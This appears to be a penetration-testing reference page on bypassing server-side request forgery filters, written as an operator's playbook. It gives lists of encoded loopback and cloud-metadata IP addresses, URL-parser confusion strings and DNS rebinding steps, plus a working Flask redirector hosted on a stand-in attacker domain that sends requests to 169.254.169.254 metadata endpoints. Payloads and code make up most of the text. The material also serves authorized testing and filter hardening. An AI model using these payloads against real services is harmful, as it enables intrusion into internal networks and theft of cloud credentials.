Filter bypass
Most SSRF filters check the URL string against a blocklist (127.0.0.1, localhost, 169.254.) or an allowlist of approved domains. The string check is performed before the URL is parsed and resolved - leaving a gap. Exploit one of these:
# 127.0.0.1 alternates127.1 # short-form0.0.0.0 # any-interface2130706433 # decimal017700000001 # octal (with leading 0)0x7f000001 # hex[::] # IPv6 unspecified[::ffff:127.0.0.1] # IPv4-mapped IPv6
# Domain confusionhttp://[email protected]/ # @ splithttp://127.0.0.1#example.com/ # fragmenthttp://127.0.0.1.nip.io/ # DNS resolves to 127.0.0.1http://allowed.com.evil.com/ # subdomain trick
# Redirect chainshttp://evil.com/redirect # → 302 Location: http://127.0.0.1Success indicator: the bypass payload reaches an internal service that the original payload couldn’t.
How filters fail
Section titled “How filters fail”Two common implementations, both broken:
# Blocklist (broken - easily bypassed)if "127.0.0.1" in url or "localhost" in url: deny()
# Allowlist (better, often still broken)if not url.startswith("https://api.example.com/"): deny()The blocklist misses any encoding that doesn’t match the literal string. The allowlist misses URL-parser quirks where the parsed host differs from what startswith() saw.
The bypass is finding the gap between “what the filter sees” and “what the HTTP library fetches.”
IPv4 alternate forms
Section titled “IPv4 alternate forms”127.0.0.1 is an integer - can be written many ways. Most HTTP libraries accept all forms.
| Form | Value | Notes |
|---|---|---|
127.0.0.1 | Standard | The blocked one |
127.1 | Short-form | Skip middle zero octets |
127.0.1 | Short-form | Same |
2130706433 | Decimal | Single integer |
017700000001 | Octal | Leading zero |
0x7f000001 | Hex | 0x prefix |
0177.0.0.1 | Mixed | Octal first octet |
0x7f.0.0.1 | Mixed | Hex first octet |
127.0.0.1. | Trailing dot | Bypasses some regex |
Generate alternates programmatically:
import socket, structip = "127.0.0.1"packed = socket.inet_aton(ip)decimal = struct.unpack("!I", packed)[0]print(f"Decimal: {decimal}") # 2130706433print(f"Hex: 0x{decimal:08x}") # 0x7f000001print(f"Octal: 0{decimal:o}") # 017700000001The same approach works for any internal IP - 169.254.169.254 (cloud metadata) becomes 2852039166 decimal, 0xa9fea9fe hex.
Loopback alternates beyond 127.0.0.1
Section titled “Loopback alternates beyond 127.0.0.1”The entire 127.0.0.0/8 range is loopback on Linux. Every address in that block reaches localhost:
127.0.0.1127.1.1.1127.255.255.254Filters checking only 127.0.0.1 literal fail on 127.1.2.3. Try a random non-.0.0.1 loopback first.
0.0.0.0 is the IPv4 “any-interface” address. On Linux it routes to whatever is bound to all interfaces, which usually includes localhost services. Often unfiltered because filters assume “localhost = 127.0.0.1.”
When IPv4 is filtered, IPv6 frequently isn’t:
http://[::]/ # unspecified, often resolves to localhosthttp://[::1]/ # loopbackhttp://[0:0:0:0:0:0:0:1]/ # expanded loopbackhttp://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6http://[::ffff:7f00:0001]/ # same, hex-encodedhttp://[fe80::1]/ # link-localIf the application’s HTTP library has IPv6 support (most do) and the localhost service binds IPv6 (most do via 0.0.0.0 translating to ::), [::] reaches it.
DNS-based bypasses
Section titled “DNS-based bypasses”Public DNS pointing at internal IPs
Section titled “Public DNS pointing at internal IPs”Services like nip.io and sslip.io resolve hostnames to whatever IP is encoded in the name:
127.0.0.1.nip.io → resolves to 127.0.0.1192.168.1.1.nip.io → resolves to 192.168.1.1metadata.google.internal.nip.io → can't help with this oneBypasses string-match filters that block IPs but allow domains. The filter sees nip.io; the resolver returns 127.0.0.1.
Your own DNS pointing at internal IPs
Section titled “Your own DNS pointing at internal IPs”Set up a wildcard A record at a domain you own, pointing to whatever you want:
*.evil.com A 127.0.0.1Then redis.evil.com resolves to 127.0.0.1. Filter sees evil.com; HTTP library connects to 127.0.0.1. Works on any allowlist that uses substring matching.
DNS rebinding (advanced)
Section titled “DNS rebinding (advanced)”For filters that resolve the hostname and check the IP against a blocklist but only check once before connecting:
- Set up a DNS server you control with a TTL of 0 for the domain
attacker.com - First lookup returns
<external IP>- passes the filter check - Second lookup (the actual fetch) returns
127.0.0.1- gets the internal connection
Tools that automate this: rbndr.us, singularity-of-origin.
DNS rebinding only works against filters that perform a separate resolution-and-check step before fetching. Most modern HTTP libraries cache resolution, so you have at most a few seconds between the check and the fetch.
URL parser confusion
Section titled “URL parser confusion”The richest source of bypasses. Different URL parsers disagree on what the “host” of a URL is.
Userinfo (@) split
Section titled “Userinfo (@) split”http://[email protected]/RFC 3986: the host is 127.0.0.1; example.com is the userinfo. Some validators see example.com first and accept; the HTTP library connects to 127.0.0.1.
Multiple @
Section titled “Multiple @”http://[email protected]@127.0.0.1/Different parsers disagree. Try when single @ is filtered.
Fragment
Section titled “Fragment”http://127.0.0.1/#example.comhttp://127.0.0.1/#@example.comFragment is client-side only - not sent to the server. Useless for redirection but sometimes confuses validators.
Path-as-host
Section titled “Path-as-host”http://example.com/path?next=http://127.0.0.1Validator checks host=example.com, request library follows the embedded URL.
Backslash-as-host (Java)
Section titled “Backslash-as-host (Java)”http://example.com\@127.0.0.1/http://example.com\.evil.com/Java’s URL class historically treated \ differently from /. Various CVEs exploit this.
Host header injection
Section titled “Host header injection”If the SSRF target is a host header rather than a URL, inject directly:
Host: 127.0.0.1Host: internal.app.localSome apps use request.host as the fetch target unconditionally.
Whitelist subdomain tricks
Section titled “Whitelist subdomain tricks”When the filter is must contain "example.com":
http://allowed.example.com.evil.com/ # subdomain trickhttp://evil.com/?x=allowed.example.com # path/query containing the stringhttp://example.com.evil.com/ # if "example.com" is anywhere in the hosthttp://exampleXcom.evil.com/ # if the dot is part of the check (rare)When the filter is must equal "api.example.com":
http://api.example.com.evil.com/ # subdomain hijackhttp://[email protected]/ # @ split, see aboveRedirect chains
Section titled “Redirect chains”When the application validates the URL but follows redirects:
-
You host a redirector at
http://evil.com/rreturning302 Location: http://127.0.0.1/. Quick Flask version:redir.py from flask import Flask, redirect, requestapp = Flask(__name__)@app.route("/")def r():target = request.args.get("u", "http://127.0.0.1/")return redirect(target, code=302)app.run(host="0.0.0.0", port=80) -
Submit
http://evil.com/rto the SSRF parameter - passes the filter:?url=http://<ATTACKER>/?u=http://169.254.169.254/latest/meta-data/ -
Application fetches, gets the redirect, follows it to
127.0.0.1.
curl follows redirects only with -L, but most SSL libraries follow by default. Check the application’s behavior - if it doesn’t follow, redirect won’t help.
Encoding tricks
Section titled “Encoding tricks”Layered URL encoding sometimes confuses validators:
http://127.0.0.1 # plaintexthttp://127%2E0%2E0%2E1 # encoded dotshttp://%31%32%37%2E%30%2E%30%2E%31 # fully encodedhttp://%2531%2532%2537... # double-encodedUseful when the filter URL-decodes once and checks, but the HTTP library decodes again before fetching. Less common than parser-confusion bypasses but worth trying.
Schema-based bypasses
Section titled “Schema-based bypasses”When http:// is filtered but the parser is permissive:
HTTP://127.0.0.1/ # uppercasehttp:127.0.0.1/ # missing slashes (lib-dependent)http:/127.0.0.1/ # one slash//127.0.0.1/ # protocol-relative (sometimes works)When schema allowlist is in place (only http(s)://), use a different schema entirely from the schemas page - gopher://, file://, dict:// may be unfiltered.
Putting it together
Section titled “Putting it together”A real engagement filter usually combines several checks. The bypass is usually a combination too:
# Filter: blocks 127.0.0.1 and 169.254., requires .example.com in URL?url=http://attacker.example.com.evil.com:80@2852039166/latest/meta-data/
# Decoded:# - Filter sees: contains ".example.com" ✓, no 127.0.0.1, no "169.254." ✓# - Library sees: host = 2852039166 = 169.254.169.254# - userinfo "attacker.example.com.evil.com:80" discarded# - Result: cloud metadata reachedThe methodology: identify what the filter is checking, then find a representation that passes the check while the HTTP library still connects internally.
Common failure modes
Section titled “Common failure modes”- All bypasses return identical “blocked” response. Filter is checking the resolved IP in the network layer, not the URL string. Library-level workarounds won’t help; you need DNS rebinding or no SSRF at all.
@split causes URL parse error. Some libraries reject userinfo. Try fragment trick or different parser-confusion variant.- Decimal/hex IPs rejected. Modern Python
urlliband Gonet/httpreject these. Java and curl accept. Test before relying on the bypass. - Bypass works for HTTP but not gopher. Gopher syntax is more rigid; many parser tricks (especially
@-split) break gopher URLs. Stick with hostname-only forms (127.1, decimal IP) for gopher. [::ffff:127.0.0.1]returns “Address family not supported.” Application’s HTTP library or OS is IPv4-only. IPv6 bypass tier is unavailable; focus on IPv4 alternates.- Filter normalizes the URL before checking. Modern libraries (e.g., recent
urllib.parse) canonicalize before validation. Bypass requires either a different library quirk or moving up the stack to redirect chains / DNS rebinding.
The hierarchy when you hit a filter: try IP alternates first (cheapest), then schema swaps, then parser tricks (@-split, fragment), then external assets you control (DNS, redirector). Save DNS rebinding for last - it’s the most reliable but also the most setup.
Most filter bypass on real engagements is one or two layers, not the full kitchen-sink combo above. If 127.1 or 0.0.0.0 works, stop there - extra encoding adds failure points.